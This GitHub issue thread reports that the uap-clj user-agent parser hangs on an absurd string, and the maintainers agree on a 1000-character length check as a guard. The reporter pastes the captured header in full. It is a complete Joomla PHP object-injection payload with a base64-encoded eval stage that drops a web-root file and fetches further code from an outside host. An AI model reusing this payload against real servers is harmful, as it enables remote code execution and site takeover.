Invalid user-agent string causes browser parser to hang

Question

Invalid user-agent string causes browser parser to hang

shooit opened this issue 7 years ago · comments

I received an invalid user-agent string (copied below) which causes uap-clj.browser/browser to hang when trying to parse it. I realize this string is completely absurd, but wanted to raise the issue in case this is affecting others. Our site recorded this value straight from the headers of an HTTP request.

uap-clj.os/os and uap-clj.device/device parse this correctly as "Other".

"}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3450:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2xvbC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJ4cFluSmhjbWxsY3k5cWIyOXRiR0V2WTNOekxuQm9jQ0lnT3cwS0pIUmxlSFFnUFNCb2RIUndYMmRsZENnbmFIUjBjRG92TDNCaGMzUmxZbWx1TG1OdmJTOXlZWGN2V1RkcE5URmxlRUluS1RzTkNpUnZjR1Z1SUQwZ1ptOXdaVzRvSkdOb1pXTnJMQ0FuZHljcE93MEtabmR5YVhSbEtDUnZjR1Z1TENBa2RHVjRkQ2s3RFFwbVkyeHZjMlVvSkc5d1pXNHBPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR05vWldOcktTbDdEUW9nSUNBZ1pXTm9ieUFrWTJobFkyc3VJand2WW5JK0lqc05DbjFsYkhObElBMEtJQ0JsWTJodklDSnViM1FnWlhocGRITWlPdzBLWldOb2J5QWlaRzl1WlNBdVhHNGdJaUE3RFFva1kyaGxZMnN5SUQwZ0pGOVRSVkpXUlZKYkowUlBRMVZOUlU1VVgxSlBUMVFuWFNBdUlDSXZiR2xpY21GeWFXVnpMMnB2YjIxc1lTOXFiV0ZwYkM1d2FIQWlJRHNOQ2lSMFpYaDBNaUE5SUdoMGRIQmZaMlYwS0Nkb2RIUndPaTh2Y0dGemRHVmlhVzR1WTI5dEwzSmhkeTlxTlZWMFIxbGtNaWNwT3cwS0pHOXdaVzR5SUQwZ1ptOXdaVzRvSkdOb1pXTnJNaXdnSjNjbktUc05DbVozY21sMFpTZ2tiM0JsYmpJc0lDUjBaWGgwTWlrN0RRcG1ZMnh2YzJVb0pHOXdaVzR5S1RzTkNtbG1LR1pwYkdWZlpYaHBjM1J6S0NSamFHVmpheklwS1hzTkNpQWdJQ0JsWTJodklDUmphR1ZqYXpJdUlqd3ZZbkkrSWpzTkNuMWxiSE5sSUEwS0lDQmxZMmh2SUNKdWIzUWdaWGhwZEhNeUlqc05DbVZqYUc4Z0ltUnZibVV5SUM1Y2JpQWlJRHNOQ2cwS0pHTm9aV05yTXowa1gxTkZVbFpGVWxzblJFOURWVTFGVGxSZlVrOVBWQ2RkSUM0Z0lpOWxaeTVvZEcwaUlEc05DaVIwWlhoME15QTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5OTRSRlJZY25NeVpDY3BPdzBLSkc5d016MW1iM0JsYmlna1kyaGxZMnN6TENBbmR5Y3BPdzBLWm5keWFYUmxLQ1J2Y0RNc0pIUmxlSFF6S1RzTkNtWmpiRzl6WlNna2IzQXpLVHNOQ2cwS0pHTm9aV05yTkQwa1gxTkZVbFpGVWxzblJFOURWVTFGVGxSZlVrOVBWQ2RkSUM0Z0lpOXNhV0p5WVhKcFpYTXZhbTl2Yld4aEwyTm9aV05yTG5Cb2NDSWdPdzBLSkhSbGVIUTBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMWszYVRVeFpYaENKeWs3RFFva2IzQTBQV1p2Y0dWdUtDUmphR1ZqYXpRc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d05Dd2tkR1Y0ZERRcE93MEtabU5zYjNObEtDUnZjRFFwT3cwS0RRb2tZMmhsWTJzMVBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwZ0xpQWlMMnhwWW5KaGNtbGxjeTlxYjI5dGJHRXZhbTFoYVd4ekxuQm9jQ0lnT3cwS0pIUmxlSFExSUQwZ2FIUjBjRjluWlhRb0oyaDBkSEE2THk5d1lYTjBaV0pwYmk1amIyMHZjbUYzTDJvMVZYUkhXV1F5SnlrN0RRb2tiM0ExUFdadmNHVnVLQ1JqYUdWamF6VXNJQ2QzSnlrN0RRcG1kM0pwZEdVb0pHOXdOU3drZEdWNGREVXBPdzBLWm1Oc2IzTmxLQ1J2Y0RVcE93MEtEUW9OQ2lSMGIzb2dQU0FpWVd4aGNtYzFNMEJuYldGcGJDNWpiMjBzSUdGc1lYSm5OVE5BYUc5MGJXRnBiQzVqYjIwaU93MEtKSE4xWW1wbFkzUWdQU0FuU205dElIcDZlaUFuSUM0Z0pGOVRSVkpXUlZKYkoxTkZVbFpGVWw5T1FVMUZKMTA3RFFva2FHVmhaR1Z5SUQwZ0oyWnliMjA2SUVSeUxsTnBURzVVSUVocGJFd2dQR0ZzWVhKbk5UTkFaMjFoYVd3dVkyOXRQaWNnTGlBaVhISmNiaUk3RFFva2JXVnpjMkZuWlNBOUlDSlRhR1ZzYkhvZ09pQm9kSFJ3T2k4dklpQXVJQ1JmVTBWU1ZrVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdJaTlzYVdKeVlYSnBaWE12YW05dmJXeGhMMnB0WVdsc0xuQm9jRDkxSWlBdUlDSmNjbHh1SWlBdUlIQm9jRjkxYm1GdFpTZ3BJQzRnSWx4eVhHNGlPdzBLSkhObGJuUnRZV2xzSUQwZ1FHMWhhV3dvSkhSdmVpd2dKSE4xWW1wbFkzUXNJQ1J0WlhOellXZGxMQ0FrYUdWaFpHVnlLVHNOQ2cwS1FIVnViR2x1YXloZlgwWkpURVZmWHlrN0RRb05DZzBLUHo0PScpKTsNCmZjbG9zZSgkZnApOw=='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}ðýýý"

Sam Hewitt · Answer 1 · Tue Sep 12 2017 00:35:26 GMT+0800 (China Standard Time)

I have tried to time the function call, but so far it has not returned (~5 mins). Will update if it ever does return.

Sam Hewitt · Answer 2 · Tue Sep 12 2017 00:38:48 GMT+0800 (China Standard Time)

Result of calling (time (uap-clj.browser/browser ua)):

"Elapsed time: 338739.710862 msecs"
{:family "SimplePie", :major "", :minor "", :patch ""}

So it does return after 5.5 minutes, but while it was running there was a very high load on my CPU.

Thanks!

Russell Whitaker · Answer 3 · Tue Sep 12 2017 02:03:02 GMT+0800 (China Standard Time)

@shooit you are aware that this UA string contains a malicious PHP server exploit, yes?

Sam Hewitt · Answer 4 · Tue Sep 12 2017 03:07:16 GMT+0800 (China Standard Time)

I did not realize that, but on closer inspection I see some red flags. Thank you for bringing that to our attention.

Russell Whitaker · Answer 5 · Tue Sep 12 2017 09:00:12 GMT+0800 (China Standard Time)

The substring eval(base64_decode( was a clue. :) If you base64 decode the result of that - without the eval of course - you'll see the nasty exploit attempt.

In the meantime, I'm closing this issue.

Sam Hewitt · Answer 6 · Fri Sep 15 2017 05:06:39 GMT+0800 (China Standard Time)

My initial reason for raising this issue is that the use of this library can effectively lead to a denial of service, where by requests can timeout if it sees this user-agent string in the wild.

We worked around this by adding simple length check before we parse the user-agent, but maybe at the library level there is a better heuristic.

Russell Whitaker · Answer 7 · Fri Sep 15 2017 05:17:51 GMT+0800 (China Standard Time)

@shooit I'm open to pull requests - with adequate test coverage - so if you have one you'd like me to consider, please let me know, thanks.

Russell Whitaker · Answer 8 · Thu Sep 28 2017 01:39:43 GMT+0800 (China Standard Time)

@shooit what is the cutoff length you used for the guard check?

Sam Hewitt · Answer 9 · Thu Sep 28 2017 01:43:40 GMT+0800 (China Standard Time)

I used 1000 as a cutoff. That was based on some quick research of finding a valid (but obscure) user agent of length ~530.

…

On Sep 27, 2017, at 1:39 PM, Russell Whitaker ***@***.***> wrote: @shooit what is the cutoff length you used for the guard check? — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub, or mute the thread.

Russell Whitaker · Answer 10 · Thu Sep 28 2017 01:47:15 GMT+0800 (China Standard Time)

@shooit that seems like a reasonable threshold; no useragent should be nearly that long (though I'd need to check to see if an RFC exists to address that issue.) When you reject these strings, what do you then categorize them as? "Unknown," or?

Sam Hewitt · Answer 11 · Thu Sep 28 2017 02:15:31 GMT+0800 (China Standard Time)

I simply short circuit and return `nil` before parsing the string. The behavior of `(uap/useragent nil)` is sufficient and as I would expect but in my use case it’s just as good to not do the parsing all together and treat these cases like there was no user-agent.

…

On Sep 27, 2017, at 1:47 PM, Russell Whitaker ***@***.***> wrote: @shooit that seems like a reasonable threshold; no useragent should be nearly that long (though I'd need to check to see if an RFC exists to address that issue.) When you reject these strings, what do you then categorize them as? "Unknown," or? — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub, or mute the thread.

Russell Whitaker · Answer 12 · Thu Sep 28 2017 02:46:51 GMT+0800 (China Standard Time)

@shooit that's a perfectly reasonable approach; thanks for the information.